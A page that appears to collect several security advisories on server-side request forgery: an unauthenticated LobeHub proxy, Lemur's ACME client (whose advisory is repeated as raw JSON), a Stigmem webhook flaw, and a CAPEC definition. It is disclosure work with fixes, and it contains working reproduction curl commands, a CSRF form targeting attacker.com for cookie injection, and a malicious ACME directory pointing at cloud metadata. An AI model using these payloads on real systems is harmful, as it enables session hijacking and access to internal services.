Summary
LobeHub: Unauthenticated SSRF in `/webapi/proxy`
Details

Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com

Summary

The /webapi/proxy endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where /api/proxy was fixed by adding auth middleware. The /webapi/proxy route was never secured — it is the only webapi route missing the checkAuth() wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the lobehub.com domain through reflected Set-Cookie headers.

Vulnerability Details

Type: Server-Side Request Forgery (CWE-918) Affected Endpoint: POST /webapi/proxy Vulnerable File: src/app/(backend)/webapi/proxy/route.ts

The route handler reads a URL from the request body and passes it to ssrfSafeFetch() without calling checkAuth() first. Every other webapi route (/webapi/chat/*, /webapi/models/*, /webapi/create-image/*) wraps the handler in checkAuth(), but the proxy does not. The Next.js middleware also skips /webapi/ routes — defaultMiddleware() calls NextResponse.next() for any path starting with /webapi/, so neither the route handler nor the middleware performs authentication.

Steps to Reproduce

Fetch an external URL through the proxy (no auth, no cookies, no tokens):

curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/ip" \
  "https://app.lobehub.com/webapi/proxy"

image

Response:

{"origin": "3.14.141.44"}

This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.

Inject a cookie on the lobehub.com domain:

curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
  "https://app.lobehub.com/webapi/proxy"

The response headers include:

set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly

image

The proxy passes upstream response headers straight through (only stripping Content-Encoding and Content-Length). An attacker controls the upstream server, so they control which Set-Cookie headers are reflected. The __session and __clerk_db_jwt cookies are both injectable — these are the cookie names used by Clerk for authentication.

CSRF to cookie injection (no user interaction beyond visiting a page):

An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a Set-Cookie header, and the proxy reflects it. The victim's browser sets the cookie on lobehub.com because the response comes from app.lobehub.com.

<form id=f action="https://app.lobehub.com/webapi/proxy"
  method=POST enctype="text/plain">
  <input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>

The attacker's server at /inject?x= responds with Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly. The proxy reflects this header and the victim's browser stores the cookie.

Impact

The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:

An attacker can inject authentication cookies (__session, __clerk_db_jwt, __client_uat) on the lobehub.com domain by chaining CSRF with the proxy's reflected Set-Cookie headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.

The proxy also leaks Vercel infrastructure details. The Traceparent and X-Vercel-Id headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.

The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.

Recommended Fix

Add checkAuth() to the proxy route, matching every other webapi route:

- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {

If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.

Summary
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Details

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client: 1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs. 2. new_order() -> server returns finalize and authorizations URLs. 3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

  • JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
  • Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
  • The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
  • Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

  1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
  2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.

  "details": "### Summary\nThe ACME client (used to issue certificates from Let\u0027s Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/\u003cid\u003e`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority\u0027s role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424  (Authorities.put)\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"], description=data[\"description\"],\n    active=data[\"active\"], roles=data[\"roles\"],\n    options=data.get(\"options\")          # \u003c- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -\u003e server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -\u003e server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -\u003e all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority\u0027s role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/\u003cid\u003e (AuthorityPermission = authority-role member)\n  -\u003e service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"})  \u003c- no re-validation\n\u2026 next certificate issuance against this authority \u2026\n  setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n    -\u003e ACME client GET directory -\u003e attacker returns newOrder=http://169.254.169.254/...\n    -\u003e Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n  \"newNonce\": \"https://evil.attacker.tld/nonce\",\n  \"newOrder\": \"http://169.254.169.254/latest/meta-data/\",   # \u003c- internal\n  \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n  \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\":\"letsencrypt\",\n    \"owner\":\"attacker@corp.com\",\n    \"description\":\"x\",\"active\":true,\n    \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n    \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n  }\u0027\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n       \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}\u0027\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n\u003e *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname \u2260 the configured `acme_url` hostname.",

Details

Stigmem before 0.9.0a11 fails to validate the delivery_address parameter when creating webhook subscriptions, allowing authenticated users to specify internal loopback and private network destinations. Attackers can trigger matching fact-change events to cause the Stigmem server to issue server-side HTTP POST requests to internal services, enabling blind SSRF attacks against localhost and private network endpoints.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.
